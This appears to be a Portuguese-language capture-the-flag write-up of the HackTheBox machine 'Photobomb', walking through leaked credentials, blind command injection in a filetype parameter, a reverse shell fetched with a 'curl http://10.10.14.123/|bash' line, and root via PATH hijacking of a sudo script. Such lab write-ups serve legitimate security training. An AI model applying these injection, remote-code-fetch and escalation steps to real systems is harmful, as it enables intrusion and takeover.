Photobomb

#easy #HackTheBox #Linux #eWPT #OSCP

Máquina Linux fácil projetada para explorar um Blind Command Injection e por fim escalar privilégios através de um Path Hijacking.

Reconhecimento de Rede

Verificando a conectividade via Ping

A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.

No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.

Varredura de Portas e Serviços

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um nginx 1.18.0 em um Linux Ubuntu além da porta 22 rodando um OpenSSH 8.2p1.

A varredura também retornou um nome de domínio que adicionei ao meu arquivo /etc/hosts.

HTTP (80) Enumeration

Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web.

Navegando na porta 80, temos o website de uma gráfica.

A página tem um link (click here) redirecionando para a rota /printer que possui um painel de autenticação.

Fazendo um spidering nesta aplicação usando a ferramenta gospider, identificamos uma credencial exposta no arquivo photobomb.js.

Indo ao arquivo, vemos uma função JavaScript que possui um hiperlink expondo de fato uma credencial.

Agora vamos tentar fazer o login com esse nome de usuário pH0t0 e senha b0Mb!. Usando essa credencial ganhamos acesso a rota /printer.

Nessa rota, temos uma página com diversas imagens, bem como a capacidade de especificar suas dimensões e fazer o download delas.

Command Injection

Portanto, ao clicar em download, interceptei a requisição usando o Burp Suite para visualizar o que está sendo enviado para o servidor.

Após alguns testes, percebo que o parâmetro filetype é vulnerável a Blind Command Injection. Como prova de conceito (PoC), enviei um ping para minha máquina atacante e aguardei a resposta do ping com a ferramenta tcpdump.

Ao enviar a requisição maliciosa com o Burp Suite, recebemos um ping do alvo, ou seja, de fato o parâmetro filetype é vulnerável a injeção de comando, e temos comunicação direta com o alvo.

Gaining Access

A mesma dinâmica funciona usando cURL em vez de ping. Portanto, podemos tirar proveito disso para obter uma reverse shell.

Para fazer isso, estarei compartilhando com um servidor HTTP do python um arquivo index.html malicioso, contendo um script bash para enviar uma shell para um netcat que estará em escuta na minha máquina atacante.

A ideia é que ao fazer o alvo enviar um cURL para este arquivo index.html e interpretá-lo com | bash, o alvo executará o comando que colocamos no index.html, e consequentemente enviará uma reverse shell para nosso netcat.

curl http://10.10.14.123/|bash

Assim, ganhamos acesso ao alvo como usuário wizard.

Upgrade da Shello

Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.

  1. Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:

  2. Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:

  3. Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:

  4. Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:

User Flag

Navegando ao diretório /home do usuário wizard podemos encontrar a flag user.txt.

Privilege Escalation

Utilizando o comando sudo -l, foi possível verificar quais comandos o usuário atual tinha permissão de executar como root. O comando revelou que o usuário tinha permissão para executar o script /opt/cleanup.sh definindo a variável de ambiente $PATH e sem a necessidade de inserir senha.

Listando este script, vemos que ele pertence ao usuário root.

Abrindo o script podemos vemos que o binário find está sendo definido sem rota absoluta, portanto, podemos aplicar um Path Hijacking.

Com isto, no diretório /tmp podemos criar um arquivo chamado find contendo o comando bash.

Agora, ao executarmos o script /opt/cleanup.sh como sudo definindo a variável de ambiente $PATH (SETENV) como sendo /tmp, ao ser executado, o script interpretá-ra que o find que ele deve usar é o que criamos no diretório /tmp, e assim, ganharemos uma shell como root.

Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.

PWNED

Atualizado